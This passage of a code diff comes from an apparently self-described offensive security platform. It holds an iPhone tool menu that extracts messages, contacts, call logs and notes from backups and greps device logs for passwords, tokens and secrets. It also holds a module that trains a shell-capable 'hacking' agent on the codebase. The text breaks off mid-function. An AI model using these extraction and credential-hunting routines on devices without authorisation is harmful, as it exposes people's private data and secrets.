+ print(" [36] Browse Backup Files")
+ print(" [37] Extract Backup File")
+ print()
+ print(" ── Filesystem & Profiles ──")
+ print(" [40] Mount Filesystem (ifuse)")
+ print(" [41] Mount App Documents")
+ print(" [42] Unmount")
+ print(" [43] List Profiles")
+ print(" [44] Install Profile")
+ print(" [45] Remove Profile")
+ print()
+ print(" ── Network ──")
+ print(" [50] Port Forward (iproxy)")
+ print(" [51] Export Recon Report")
+ print()
+ print(" [s] Select Device")
+ print(" [0] Back")
+ print()
+
+ def _pick_backup(self):
+ backups = self.mgr.list_backups()
+ if not backups['backups']:
+ print(" No backups found. Create one first.")
+ return None
+ print("\n Available backups:")
+ for i, b in enumerate(backups['backups'], 1):
+ name = b.get('device_name', b['udid'][:12])
+ size = b.get('size_mb', 0)
+ print(f" {i}) {name} - {b.get('ios_version','')} ({size:.0f} MB)")
+ try:
+ choice = int(input(" > ").strip())
+ if 1 <= choice <= len(backups['backups']):
+ return backups['backups'][choice - 1]['path']
+ except (ValueError, EOFError, KeyboardInterrupt):
+ pass
+ return None
+
+ def run_interactive(self):
+ while True:
+ self.show_menu()
+ try:
+ choice = input(" Select > ").strip().lower()
+ except (EOFError, KeyboardInterrupt):
+ break
+ if choice == '0':
+ break
+ elif choice == 's':
+ self._select_device()
+ continue
+
+ try:
+ self._dispatch(choice)
+ except (EOFError, KeyboardInterrupt):
+ continue
+
+ def _dispatch(self, choice):
+ m = self.mgr
+ # Device
+ if choice == '1':
+ devices = m.list_devices()
+ if not devices:
+ print(" No iOS devices connected.")
+ else:
+ print(f"\n {'UDID':<42} {'Name':<20} {'Model':<15} iOS")
+ print(f" {'-'*85}")
+ for d in devices:
+ print(f" {d['udid']:<42} {d.get('name',''):<20} {d.get('model',''):<15} {d.get('ios_version','')}")
+ elif choice == '2':
+ if not self._ensure_device(): return
+ info = m.device_info(self.udid)
+ if 'error' in info:
+ print(f" Error: {info['error']}")
+ else:
+ for k, v in list(info.items())[:40]:
+ print(f" {k:<35} {v}")
+ if len(info) > 40:
+ print(f" ... and {len(info)-40} more fields")
+ elif choice == '3':
+ if not self._ensure_device(): return
+ fp = m.full_fingerprint(self.udid)
+ for k, v in list(fp.items())[:50]:
+ if isinstance(v, dict):
+ print(f" {k}:")
+ for sk, sv in list(v.items())[:10]:
+ print(f" {sk}: {sv}")
+ else:
+ print(f" {k:<35} {v}")
+ elif choice == '4':
+ if not self._ensure_device(): return
+ action = input(" [p]air / [v]alidate / [u]npair? ").strip().lower()
+ if action == 'p':
+ r = m.pair_device(self.udid)
+ elif action == 'u':
+ r = m.unpair_device(self.udid)
+ else:
+ r = m.validate_pair(self.udid)
+ print(f" {r.get('output', r)}")
+ elif choice == '5':
+ if not self._ensure_device(): return
+ r = m.get_name(self.udid)
+ print(f" Current name: {r['name']}")
+ new = input(" New name (Enter to keep): ").strip()
+ if new:
+ m.set_name(self.udid, new)
+ print(f" Name set to: {new}")
+ elif choice == '6':
+ if not self._ensure_device(): return
+ action = input(" [r]estart / [s]hutdown / s[l]eep? ").strip().lower()
+ if action == 'r':
+ r = m.restart_device(self.udid)
+ elif action == 's':
+ r = m.shutdown_device(self.udid)
+ elif action == 'l':
+ r = m.sleep_device(self.udid)
+ else:
+ print(" Invalid."); return
+ print(f" {r.get('output', 'Done')}")
+ # Capture
+ elif choice == '10':
+ if not self._ensure_device(): return
+ r = m.screenshot(self.udid)
+ if r['success']:
+ print(f" Screenshot: {r['path']} ({r['size']} bytes)")
+ else:
+ print(f" Error: {r['error']}")
+ elif choice == '11':
+ if not self._ensure_device(): return
+ dur = input(" Duration [5]: ").strip()
+ r = m.syslog_dump(self.udid, duration=int(dur) if dur else 5)
+ if r['success']:
+ print(f" Syslog: {r['path']} ({r['lines']} lines)")
+ else:
+ print(f" Error: {r['error']}")
+ elif choice == '12':
+ if not self._ensure_device(): return
+ pattern = input(" Grep pattern [password|token|key]: ").strip() or 'password|token|key|secret'
+ dur = input(" Duration [5]: ").strip()
+ r = m.syslog_grep(self.udid, pattern, duration=int(dur) if dur else 5)
+ print(f" {r['count']} matches:")
+ for line in r.get('matches', [])[:20]:
+ print(f" {line[:120]}")
+ elif choice == '13':
+ if not self._ensure_device(): return
+ r = m.crash_reports(self.udid)
+ if r['success']:
+ print(f" {r['count']} crash reports in {r['output_dir']}")
+ else:
+ print(f" Error: {r['error']}")
+ # Apps
+ elif choice == '20':
+ if not self._ensure_device(): return
+ t = input(" Type [user/system/all]: ").strip() or 'user'
+ r = m.list_apps(self.udid, app_type=t)
+ if r['success']:
+ print(f" {r['count']} apps:")
+ for a in r['apps']:
+ print(f" {a.get('bundle_id',''):<40} {a.get('name','')}")
+ else:
+ print(f" Error: {r['error']}")
+ elif choice == '21':
+ if not self._ensure_device(): return
+ path = input(" IPA path: ").strip()
+ if path:
+ r = m.install_app(self.udid, path)
+ print(f" {r.get('output', 'Done')}")
+ elif choice == '22':
+ if not self._ensure_device(): return
+ bid = input(" Bundle ID to remove: ").strip()
+ if bid:
+ r = m.uninstall_app(self.udid, bid)
+ print(f" {r.get('output', 'Done')}")
+ # Backup
+ elif choice == '30':
+ if not self._ensure_device(): return
+ enc = input(" Encrypted backup? [y/N]: ").strip().lower() == 'y'
+ pwd = ''
+ if enc:
+ pwd = input(" Backup password: ").strip()
+ print(" Creating backup (this may take several minutes)...")
+ r = m.create_backup(self.udid, encrypted=enc, password=pwd)
+ if r['success']:
+ print(f" Backup saved: {r['backup_path']}")
+ else:
+ print(f" Error: {r.get('output', 'Failed')}")
+ elif choice == '31':
+ r = m.list_backups()
+ print(f" {r['count']} backups:")
+ for b in r['backups']:
+ name = b.get('device_name', b['udid'][:12])
+ print(f" {name} - iOS {b.get('ios_version','')} - {b.get('size_mb',0):.0f}MB - {b.get('date','')}")
+ elif choice == '32':
+ bp = self._pick_backup()
+ if bp:
+ r = m.extract_backup_sms(bp)
+ if r['success']:
+ print(f" {r['count']} messages:")
+ for msg in r['messages'][:20]:
+ d = 'ME' if msg['is_from_me'] else msg['handle']
+ print(f" [{msg['date']}] {d}: {msg['text'][:60]}")
+ else:
+ print(f" Error: {r['error']}")
+ elif choice == '33':
+ bp = self._pick_backup()
+ if bp:
+ r = m.extract_backup_contacts(bp)
+ if r['success']:
+ print(f" {r['count']} contacts:")
+ for c in r['contacts'][:30]:
+ print(f" {c['first']} {c['last']} {c.get('organization','')} - {', '.join(c['values'][:3])}")
+ else:
+ print(f" Error: {r['error']}")
+ elif choice == '34':
+ bp = self._pick_backup()
+ if bp:
+ r = m.extract_backup_call_log(bp)
+ if r['success']:
+ print(f" {r['count']} calls:")
+ for c in r['calls'][:20]:
+ print(f" [{c['date']}] {c['type']:<10} {c['address']} ({c['duration']}s)")
+ else:
+ print(f" Error: {r['error']}")
+ elif choice == '35':
+ bp = self._pick_backup()
+ if bp:
+ r = m.extract_backup_notes(bp)
+ if r['success']:
+ print(f" {r['count']} notes:")
+ for n in r['notes'][:15]:
+ print(f" [{n['date']}] {n['title']}")
+ if n['body']:
+ print(f" {n['body'][:80]}")
+ else:
+ print(f" Error: {r['error']}")
+ elif choice == '36':
+ bp = self._pick_backup()
+ if bp:
+ domain = input(" Domain filter (or Enter): ").strip()
+ path_f = input(" Path filter (or Enter): ").strip()
+ r = m.list_backup_files(bp, domain=domain, path_filter=path_f)
+ if r['success']:
+ print(f" {r['count']} files:")
+ for f in r['files'][:30]:
+ print(f" [{f['domain']}] {f['path']}")
+ else:
+ print(f" Error: {r['error']}")
+ elif choice == '37':
+ bp = self._pick_backup()
+ if bp:
+ fhash = input(" File hash: ").strip()
+ name = input(" Output filename (or Enter): ").strip() or None
+ if fhash:
+ r = m.extract_backup_file(bp, fhash, output_name=name)
+ if r['success']:
+ print(f" Extracted: {r['path']} ({r['size']} bytes)")
+ else:
+ print(f" Error: {r['error']}")
+ # Filesystem
+ elif choice == '40':
+ if not self._ensure_device(): return
+ r = m.mount_filesystem(self.udid)
+ if r['success']:
+ print(f" Mounted at: {r['mountpoint']}")
+ else:
+ print(f" Error: {r.get('error', r.get('output'))}")
+ elif choice == '41':
+ if not self._ensure_device(): return
+ bid = input(" Bundle ID: ").strip()
+ if bid:
+ r = m.mount_app_documents(self.udid, bid)
+ if r['success']:
+ print(f" Mounted at: {r['mountpoint']}")
+ else:
+ print(f" Error: {r.get('error', r.get('output'))}")
+ elif choice == '42':
+ mp = input(" Mountpoint to unmount: ").strip()
+ if mp:
+ m.unmount_filesystem(mp)
+ print(" Unmounted.")
+ elif choice == '43':
+ if not self._ensure_device(): return
+ r = m.list_profiles(self.udid)
+ if r['success']:
+ print(f" {r['count']} profiles:")
+ for p in r['profiles']:
+ print(f" {p.get('id','')} - {p.get('name','')}")
+ else:
+ print(f" Error: {r['error']}")
+ elif choice == '44':
+ if not self._ensure_device(): return
+ path = input(" Profile path (.mobileprovision/.mobileconfig): ").strip()
+ if path:
+ r = m.install_profile(self.udid, path)
+ print(f" {r.get('output', 'Done')}")
+ elif choice == '45':
+ if not self._ensure_device(): return
+ pid = input(" Profile ID to remove: ").strip()
+ if pid:
+ r = m.remove_profile(self.udid, pid)
+ print(f" {r.get('output', 'Done')}")
+ # Network
+ elif choice == '50':
+ if not self._ensure_device(): return
+ lp = input(" Local port: ").strip()
+ dp = input(" Device port: ").strip()
+ if lp and dp:
+ r = m.port_forward(self.udid, int(lp), int(dp))
+ if r['success']:
+ print(f" Forwarding localhost:{lp} -> device:{dp} (PID: {r['pid']})")
+ else:
+ print(f" Error: {r['error']}")
+ elif choice == '51':
+ if not self._ensure_device(): return
+ r = m.export_recon_report(self.udid)
+ if r['success']:
+ print(f" Report: {r['report_path']}")
+ else:
+ print(" Invalid choice.")
+
+
+def run():
+ m = IPhoneLocal()
+ m.run_interactive()
diff --git a/modules/llm_trainer.py b/modules/llm_trainer.py
new file mode 100644
index 0000000..8dc1abe
--- /dev/null
+++ b/modules/llm_trainer.py
@@ -0,0 +1,1447 @@
+"""
+AUTARCH LLM Trainer Module
+Fine-tune language models on the AUTARCH codebase and convert to GGUF.
+
+Generates training datasets from source code, trains LoRA adapters,
+merges weights, and quantizes to GGUF format for local inference.
+"""
+
+import os
+import sys
+import subprocess
+import json
+import re
+import ast
+import time
+import platform
+import shutil
+from pathlib import Path
+from datetime import datetime
+
+sys.path.insert(0, str(Path(__file__).parent.parent))
+
+# Module metadata
+DESCRIPTION = "LLM fine-tuning & GGUF training pipeline"
+AUTHOR = "darkHal"
+VERSION = "1.0"
+CATEGORY = "analyze"
+
+_is_win = platform.system() == 'Windows'
+_PROJECT_ROOT = Path(__file__).parent.parent
+_DATA_DIR = _PROJECT_ROOT / 'data'
+_MODELS_DIR = _PROJECT_ROOT / 'models'
+_TRAINING_DIR = _DATA_DIR / 'training'
+
+
+class LLMTrainer:
+ """Fine-tuning pipeline: dataset generation, LoRA training, GGUF conversion."""
+
+ def __init__(self):
+ self._training_dir = _TRAINING_DIR
+ self._training_dir.mkdir(parents=True, exist_ok=True)
+ self._models_dir = _MODELS_DIR
+ self._project_root = _PROJECT_ROOT
+ self._status = {
+ 'phase': 'idle',
+ 'progress': 0,
+ 'message': '',
+ 'log': [],
+ }
+ self._training_process = None
+
+ def _log(self, msg, level='info'):
+ entry = {'time': datetime.now().strftime('%H:%M:%S'), 'msg': msg, 'level': level}
+ self._status['log'].append(entry)
+ # Keep last 200 entries
+ if len(self._status['log']) > 200:
+ self._status['log'] = self._status['log'][-200:]
+
+ def get_status(self):
+ return dict(self._status)
+
+ # ==================== DEPENDENCY CHECK ====================
+
+ def check_dependencies(self):
+ """Check what training dependencies are installed."""
+ deps = {}
+ checks = {
+ 'torch': 'import torch; print(torch.__version__)',
+ 'transformers': 'import transformers; print(transformers.__version__)',
+ 'peft': 'import peft; print(peft.__version__)',
+ 'datasets': 'import datasets; print(datasets.__version__)',
+ 'unsloth': 'import unsloth; print(unsloth.__version__)',
+ 'bitsandbytes': 'import bitsandbytes; print(bitsandbytes.__version__)',
+ 'trl': 'import trl; print(trl.__version__)',
+ 'accelerate': 'import accelerate; print(accelerate.__version__)',
+ }
+ for name, cmd in checks.items():
+ try:
+ result = subprocess.run(
+ [sys.executable, '-c', cmd],
+ capture_output=True, text=True, timeout=15
+ )
+ if result.returncode == 0:
+ deps[name] = {'installed': True, 'version': result.stdout.strip()}
+ else:
+ deps[name] = {'installed': False, 'version': None}
+ except Exception:
+ deps[name] = {'installed': False, 'version': None}
+
+ # Check for llama.cpp convert script
+ llama_cpp_paths = [
+ _PROJECT_ROOT / 'tools' / 'llama.cpp',
+ Path.home() / 'llama.cpp',
+ Path('/usr/local/bin/llama-quantize'),
+ ]
+ deps['llama_cpp'] = {'installed': False, 'path': None}
+ for p in llama_cpp_paths:
+ if p.exists():
+ deps['llama_cpp'] = {'installed': True, 'path': str(p)}
+ break
+
+ # Check GPU
+ try:
+ result = subprocess.run(
+ [sys.executable, '-c',
+ 'import torch; print(torch.cuda.is_available()); print(torch.cuda.get_device_name(0) if torch.cuda.is_available() else "none")'],
+ capture_output=True, text=True, timeout=15
+ )
+ if result.returncode == 0:
+ lines = result.stdout.strip().split('\n')
+ deps['cuda'] = {
+ 'available': lines[0].strip() == 'True',
+ 'device': lines[1].strip() if len(lines) > 1 else 'none',
+ }
+ else:
+ deps['cuda'] = {'available': False, 'device': 'none'}
+ except Exception:
+ deps['cuda'] = {'available': False, 'device': 'none'}
+
+ # Check Intel XPU
+ try:
+ result = subprocess.run(
+ [sys.executable, '-c',
+ 'import torch; import intel_extension_for_pytorch; print(torch.xpu.is_available())'],
+ capture_output=True, text=True, timeout=15
+ )
+ deps['xpu'] = {'available': result.returncode == 0 and 'True' in result.stdout}
+ except Exception:
+ deps['xpu'] = {'available': False}
+
+ return deps
+
+ def install_dependencies(self):
+ """Install training dependencies via pip."""
+ self._status['phase'] = 'installing'
+ self._status['progress'] = 0
+ self._log('Installing training dependencies...')
+
+ packages = [
+ 'torch', 'transformers', 'peft', 'datasets',
+ 'trl', 'accelerate', 'bitsandbytes',
+ ]
+ results = []
+ for i, pkg in enumerate(packages):
+ self._status['progress'] = int((i / len(packages)) * 100)
+ self._status['message'] = f'Installing {pkg}...'
+ self._log(f'pip install {pkg}')
+ try:
+ result = subprocess.run(
+ [sys.executable, '-m', 'pip', 'install', pkg, '--quiet'],
+ capture_output=True, text=True, timeout=300
+ )
+ results.append({
+ 'package': pkg,
+ 'success': result.returncode == 0,
+ 'output': result.stdout.strip() or result.stderr.strip(),
+ })
+ except Exception as e:
+ results.append({'package': pkg, 'success': False, 'output': str(e)})
+
+ self._status['phase'] = 'idle'
+ self._status['progress'] = 100
+ self._status['message'] = 'Dependencies installed'
+ return results
+
+ # ==================== CODEBASE SCANNING ====================
+
+ def scan_codebase(self):
+ """Scan the AUTARCH codebase and return file inventory."""
+ inventory = {
+ 'modules': [],
+ 'core': [],
+ 'routes': [],
+ 'templates': [],
+ 'configs': [],
+ 'other': [],
+ }
+
+ scan_dirs = {
+ 'modules': self._project_root / 'modules',
+ 'core': self._project_root / 'core',
+ 'routes': self._project_root / 'web' / 'routes',
+ 'templates': self._project_root / 'web' / 'templates',
+ }
+
+ for category, scan_dir in scan_dirs.items():
+ if not scan_dir.exists():
+ continue
+ for f in sorted(scan_dir.glob('*.py' if category != 'templates' else '*.html')):
+ try:
+ size = f.stat().st_size
+ lines = f.read_text(encoding='utf-8', errors='replace').count('\n')
+ inventory[category].append({
+ 'name': f.name,
+ 'path': str(f.relative_to(self._project_root)),
+ 'size': size,
+ 'lines': lines,
+ })
+ except Exception:
+ pass
+
+ # Config files
+ for pattern in ['*.conf', '*.json', '*.txt']:
+ for f in self._project_root.glob(pattern):
+ if f.name.startswith('.'):
+ continue
+ try:
+ inventory['configs'].append({
+ 'name': f.name,
+ 'path': str(f.relative_to(self._project_root)),
+ 'size': f.stat().st_size,
+ 'lines': f.read_text(encoding='utf-8', errors='replace').count('\n'),
+ })
+ except Exception:
+ pass
+ for f in (_DATA_DIR).glob('*.txt'):
+ try:
+ inventory['configs'].append({
+ 'name': f'data/{f.name}',
+ 'path': str(f.relative_to(self._project_root)),
+ 'size': f.stat().st_size,
+ 'lines': f.read_text(encoding='utf-8', errors='replace').count('\n'),
+ })
+ except Exception:
+ pass
+
+ # Entry point
+ entry = self._project_root / 'autarch.py'
+ if entry.exists():
+ inventory['other'].append({
+ 'name': 'autarch.py',
+ 'path': 'autarch.py',
+ 'size': entry.stat().st_size,
+ 'lines': entry.read_text(encoding='utf-8', errors='replace').count('\n'),
+ })
+
+ # JS
+ js_dir = self._project_root / 'web' / 'static' / 'js'
+ if js_dir.exists():
+ for f in js_dir.glob('*.js'):
+ try:
+ inventory['other'].append({
+ 'name': f'static/js/{f.name}',
+ 'path': str(f.relative_to(self._project_root)),
+ 'size': f.stat().st_size,
+ 'lines': f.read_text(encoding='utf-8', errors='replace').count('\n'),
+ })
+ except Exception:
+ pass
+
+ total_files = sum(len(v) for v in inventory.values())
+ total_lines = sum(item['lines'] for v in inventory.values() for item in v)
+ return {
+ 'inventory': inventory,
+ 'total_files': total_files,
+ 'total_lines': total_lines,
+ }
+
+ # ==================== PYTHON MODULE EXTRACTION ====================
+
+ def _extract_module_info(self, filepath):
+ """Extract structured info from a Python module file."""
+ try:
+ source = Path(filepath).read_text(encoding='utf-8', errors='replace')
+ except Exception:
+ return None
+
+ info = {
+ 'file': str(Path(filepath).relative_to(self._project_root)),
+ 'source': source,
+ 'docstring': '',
+ 'classes': [],
+ 'functions': [],
+ 'metadata': {},
+ }
+
+ try:
+ tree = ast.parse(source)
+ except SyntaxError:
+ return info
+
+ # Module docstring
+ if (tree.body and isinstance(tree.body[0], ast.Expr)
+ and isinstance(tree.body[0].value, (ast.Constant, ast.Str))):
+ info['docstring'] = getattr(tree.body[0].value, 'value',
+ getattr(tree.body[0].value, 's', ''))
+
+ # Module-level assignments (DESCRIPTION, AUTHOR, etc.)
+ for node in ast.walk(tree):
+ if isinstance(node, ast.Assign):
+ for target in node.targets:
+ if isinstance(target, ast.Name) and isinstance(node.value, (ast.Constant, ast.Str)):
+ val = getattr(node.value, 'value', getattr(node.value, 's', ''))
+ if target.id in ('DESCRIPTION', 'AUTHOR', 'VERSION', 'CATEGORY', 'NAME'):
+ info['metadata'][target.id] = val
+
+ # Classes and methods
+ for node in ast.iter_child_nodes(tree):
+ if isinstance(node, ast.ClassDef):
+ cls_info = {
+ 'name': node.name,
+ 'docstring': ast.get_docstring(node) or '',
+ 'methods': [],
+ }
+ for item in node.body:
+ if isinstance(item, (ast.FunctionDef, ast.AsyncFunctionDef)):
+ args = [a.arg for a in item.args.args if a.arg != 'self']
+ cls_info['methods'].append({
+ 'name': item.name,
+ 'args': args,
+ 'docstring': ast.get_docstring(item) or '',
+ 'lineno': item.lineno,
+ })
+ info['classes'].append(cls_info)
+
+ elif isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)):
+ args = [a.arg for a in node.args.args if a.arg != 'self']
+ info['functions'].append({
+ 'name': node.name,
+ 'args': args,
+ 'docstring': ast.get_docstring(node) or '',
+ 'lineno': node.lineno,
+ })
+
+ return info
+
+ # ==================== DATASET GENERATION ====================
+
+ def generate_dataset(self, format='sharegpt', include_source=True,
+ include_qa=True, include_module_creation=True):
+ """Generate training dataset from the AUTARCH codebase.
+
+ Args:
+ format: 'sharegpt' (conversations) or 'instruction' (alpaca-style)
+ include_source: Include code understanding pairs
+ include_qa: Include Q&A about architecture
+ include_module_creation: Include module creation examples
+
+ Returns:
+ Dict with dataset path, sample count, preview
+ """
+ self._status['phase'] = 'generating'
+ self._status['progress'] = 0
+ self._status['message'] = 'Scanning codebase...'
+ self._log('Starting dataset generation...')
+
+ samples = []
+ scan = self.scan_codebase()
+ all_files = []
+ for category, files in scan['inventory'].items():
+ for f in files:
+ all_files.append((category, f))
+
+ total = len(all_files)
+
+ # ── Phase 1: Code understanding pairs ──
+ if include_source:
+ self._log(f'Generating code understanding pairs from {total} files...')
+ for i, (category, finfo) in enumerate(all_files):
+ self._status['progress'] = int((i / total) * 30)
+ filepath = self._project_root / finfo['path']
+ if not filepath.exists():
+ continue
+
+ if filepath.suffix == '.py':
+ mod_info = self._extract_module_info(filepath)
+ if not mod_info:
+ continue
+
+ # "What does this file do?" pair
+ desc = mod_info.get('docstring') or mod_info['metadata'].get('DESCRIPTION', '')
+ if desc:
+ samples.append(self._make_sample(
+ f"What does the file `{finfo['path']}` do in AUTARCH?",
+ f"`{finfo['path']}` — {desc}\n\n"
+ f"Category: {mod_info['metadata'].get('CATEGORY', 'core')}\n"
+ f"It contains {len(mod_info['classes'])} class(es) and "
+ f"{len(mod_info['functions'])} top-level function(s).",
+ format
+ ))
+
+ # Class/method documentation
+ for cls in mod_info['classes']:
+ if cls['methods']:
+ method_list = ', '.join(m['name'] for m in cls['methods']
+ if not m['name'].startswith('_'))
+ samples.append(self._make_sample(
+ f"What methods does the `{cls['name']}` class in "
+ f"`{finfo['path']}` provide?",
+ f"The `{cls['name']}` class provides these methods: "
+ f"{method_list}\n\n"
+ + (f"Class description: {cls['docstring']}" if cls['docstring'] else ''),
+ format
+ ))
+
+ # Individual method docs
+ for method in cls['methods']:
+ if method['docstring'] and not method['name'].startswith('_'):
+ samples.append(self._make_sample(
+ f"What does `{cls['name']}.{method['name']}()` do?",
+ f"`{method['name']}({', '.join(method['args'])})` — "
+ f"{method['docstring']}",
+ format
+ ))
+
+ elif filepath.suffix == '.html':
+ try:
+ content = filepath.read_text(encoding='utf-8', errors='replace')
+ # Extract template purpose from title block
+ title_match = re.search(r'{%\s*block\s+title\s*%}(.+?){%', content)
+ if title_match:
+ samples.append(self._make_sample(
+ f"What is the `{finfo['path']}` template for?",
+ f"The template `{finfo['path']}` renders the "
+ f"'{title_match.group(1).strip()}' page in the AUTARCH web dashboard.",
+ format
+ ))
+ except Exception:
+ pass
+
+ # ── Phase 2: Architecture Q&A ──
+ if include_qa:
+ self._status['progress'] = 30
+ self._status['message'] = 'Generating architecture Q&A...'
+ self._log('Generating architecture Q&A pairs...')
+ samples.extend(self._generate_architecture_qa(format, scan))
+
+ # ── Phase 3: Module creation examples ──
+ if include_module_creation:
+ self._status['progress'] = 60
+ self._status['message'] = 'Generating module creation examples...'
+ self._log('Generating module creation training data...')
+ samples.extend(self._generate_module_creation_samples(format))
+
+ # ── Phase 4: System prompt and identity ──
+ self._status['progress'] = 80
+ self._status['message'] = 'Adding identity and system context...'
+ samples.extend(self._generate_identity_samples(format))
+
+ # ── Save dataset ──
+ self._status['progress'] = 90
+ self._status['message'] = 'Saving dataset...'
+
+ timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
+ dataset_path = self._training_dir / f'autarch_dataset_{timestamp}.jsonl'
+
+ with open(dataset_path, 'w', encoding='utf-8') as f:
+ for sample in samples:
+ f.write(json.dumps(sample, ensure_ascii=False) + '\n')
+
+ self._status['phase'] = 'idle'
+ self._status['progress'] = 100
+ self._status['message'] = f'Dataset generated: {len(samples)} samples'
+ self._log(f'Dataset saved to {dataset_path} ({len(samples)} samples)')
+
+ return {
+ 'path': str(dataset_path),
+ 'filename': dataset_path.name,
+ 'sample_count': len(samples),
+ 'format': format,
+ 'preview': samples[:5],
+ 'size_bytes': dataset_path.stat().st_size,
+ }
+
+ def _make_sample(self, instruction, response, format='sharegpt'):
+ """Create a training sample in the specified format."""
+ if format == 'sharegpt':
+ return {
+ 'conversations': [
+ {'from': 'human', 'value': instruction},
+ {'from': 'gpt', 'value': response},
+ ]
+ }
+ else: # alpaca/instruction format
+ return {
+ 'instruction': instruction,
+ 'input': '',
+ 'output': response,
+ }
+
+ def _generate_architecture_qa(self, format, scan):
+ """Generate Q&A pairs about AUTARCH architecture."""
+ pairs = []
+
+ # Project overview
+ pairs.append(self._make_sample(
+ "What is AUTARCH?",
+ "AUTARCH (Autonomous Tactical Agent for Reconnaissance, Counterintelligence, "
+ "and Hacking) is an autonomous security platform built by darkHal Security Group. "
+ "It provides a web-based dashboard with modular tools for defense, offense, "
+ "counter-intelligence, analysis, OSINT, and attack simulation. "
+ "It features an AI agent (Hal) that can create new modules on demand.",
+ format
+ ))
+
+ # Directory structure
+ pairs.append(self._make_sample(
+ "What is the directory structure of AUTARCH?",
+ "AUTARCH has this structure:\n"
+ "- `modules/` — Plugin modules (Python), each is a standalone tool\n"
+ "- `core/` — Framework internals (llm.py, agent.py, tools.py, config.py, wireshark.py)\n"
+ "- `web/` — Flask web dashboard (routes/, templates/, static/)\n"
+ "- `data/` — Databases, configs, JSON files\n"
+ "- `models/` — LLM model files (GGUF)\n"
+ "- `autarch.py` — Main entry point\n"
+ "- `autarch_settings.conf` — Configuration file",
+ format
+ ))
+
+ # Module categories
+ pairs.append(self._make_sample(
+ "What module categories does AUTARCH support?",
+ "AUTARCH supports 6 module categories:\n"
+ "1. **defense** (Blue) — Security hardening, monitoring, firewalls\n"
+ "2. **offense** (Red) — Penetration testing, exploitation\n"
+ "3. **counter** (Purple) — Counter-intelligence, threat response\n"
+ "4. **analyze** (Cyan) — Analysis, forensics, packet inspection\n"
+ "5. **osint** (Green) — Open source intelligence gathering\n"
+ "6. **simulate** (Yellow) — Attack simulation, red team exercises",
+ format
+ ))
+
+ # Web architecture
+ pairs.append(self._make_sample(
+ "How does the AUTARCH web dashboard work?",
+ "The web dashboard is built with Flask and uses Jinja2 templates with vanilla "
+ "JavaScript. It runs on port 8181 with HTTPS. Routes are organized as Flask "
+ "Blueprints in `web/routes/`. The frontend uses SSE (Server-Sent Events) for "
+ "real-time streaming. The sidebar menu links to category pages (Defense, Offense, "
+ "Analyze, etc.) which load their respective modules and tools.",
+ format
+ ))
+
+ # LLM integration
+ pairs.append(self._make_sample(
+ "How does the LLM system work in AUTARCH?",
+ "AUTARCH supports multiple LLM backends:\n"
+ "1. **Local GGUF** — llama-cpp-python loads .gguf models from the models/ directory\n"
+ "2. **HuggingFace Transformers** — loads full models with optional 4-bit quantization\n"
+ "3. **Claude API** — Anthropic's API for cloud inference\n"
+ "4. **HuggingFace API** — Inference API for cloud models\n\n"
+ "The `core/llm.py` module wraps all backends with a unified interface. "
+ "The AI agent (Hal) uses the local GGUF model with a tool-calling loop defined "
+ "in `core/agent.py`. It can execute shell commands, read/write files, search code, "
+ "and create new modules via the `create_module` tool in `core/tools.py`.",
+ format
+ ))
+
+ # Config system
+ pairs.append(self._make_sample(
+ "How is AUTARCH configured?",
+ "AUTARCH uses `autarch_settings.conf` (INI format) with sections for: "
+ "[llama] (GGUF model settings), [autarch] (general), [msf] (Metasploit RPC), "
+ "[osint] (OSINT settings), [transformers] (HuggingFace models), [claude] (API key), "
+ "[web] (dashboard host/port/secret), [wireguard] (VPN), [upnp] (port forwarding), "
+ "and more. The `core/config.py` module reads and writes this file.",
+ format
+ ))
+
+ # Module stats
+ mod_count = len(scan['inventory'].get('modules', []))
+ core_count = len(scan['inventory'].get('core', []))
+ pairs.append(self._make_sample(
+ "How many modules and core files does AUTARCH have?",
+ f"AUTARCH has {mod_count} plugin modules in `modules/` and {core_count} core "
+ f"framework files in `core/`. Total codebase is {scan['total_files']} files "
+ f"with {scan['total_lines']} lines of code.",
+ format
+ ))
+
+ return pairs
+
+ def _generate_module_creation_samples(self, format):
+ """Generate training data for teaching the LLM how to create modules."""
+ pairs = []
+
+ # Module creation pattern
+ pairs.append(self._make_sample(
+ "How do I create a new AUTARCH module?",
+ "Every AUTARCH module in `modules/` must have these elements:\n\n"
+ "1. **Module-level metadata**: DESCRIPTION, AUTHOR, VERSION, CATEGORY\n"
+ "2. **A `run()` function** — Entry point for CLI mode\n"
+ "3. **Imports**: `from core.banner import Colors` for terminal colors\n\n"
+ "```python\n"
+ '"""\nModule description\n"""\n'
+ "import os\nimport sys\nimport subprocess\nfrom pathlib import Path\n\n"
+ "DESCRIPTION = \"What this module does\"\n"
+ "AUTHOR = \"darkHal\"\nVERSION = \"1.0\"\n"
+ "CATEGORY = \"defense\" # defense/offense/counter/analyze/osint/simulate\n\n"
+ "sys.path.insert(0, str(Path(__file__).parent.parent))\n"
+ "from core.banner import Colors\n\n\n"
+ "class MyModule:\n"
+ " def print_status(self, message, status=\"info\"):\n"
+ " colors = {\"info\": Colors.CYAN, \"success\": Colors.GREEN, "
+ "\"warning\": Colors.YELLOW, \"error\": Colors.RED}\n"
+ " symbols = {\"info\": \"*\", \"success\": \"+\", \"warning\": \"!\", \"error\": \"X\"}\n"
+ " print(f\"{colors.get(status, Colors.WHITE)}"
+ "[{symbols.get(status, '*')}] {message}{Colors.RESET}\")\n\n"
+ " def run_cmd(self, cmd, timeout=30):\n"
+ " try:\n"
+ " r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)\n"
+ " return r.returncode == 0, r.stdout.strip()\n"
+ " except Exception as e:\n"
+ " return False, str(e)\n\n\n"
+ "def run():\n"
+ " mod = MyModule()\n"
+ " # Interactive menu or direct execution\n"
+ "```",
+ format
+ ))
+
+ # Scan existing modules for real examples
+ modules_dir = self._project_root / 'modules'
+ if modules_dir.exists():
+ for mod_file in sorted(modules_dir.glob('*.py')):
+ if mod_file.name.startswith('__'):
+ continue
+ info = self._extract_module_info(mod_file)
+ if not info or not info['metadata'].get('DESCRIPTION'):
+ continue
+
+ # "Create a module like X" example
+ desc = info['metadata'].get('DESCRIPTION', '')
+ cat = info['metadata'].get('CATEGORY', 'analyze')
+ source = info['source']
+
+ # Only use first 3000 chars to keep training samples reasonable
+ if len(source) > 3000:
+ source = source[:3000] + '\n# ... (truncated for training)\n'
+
+ pairs.append(self._make_sample(
+ f"Create an AUTARCH module for: {desc}",
+ f"Here's a {cat} module that {desc.lower()}:\n\n```python\n{source}\n```",
+ format
+ ))
+
+ # Specific module creation scenarios
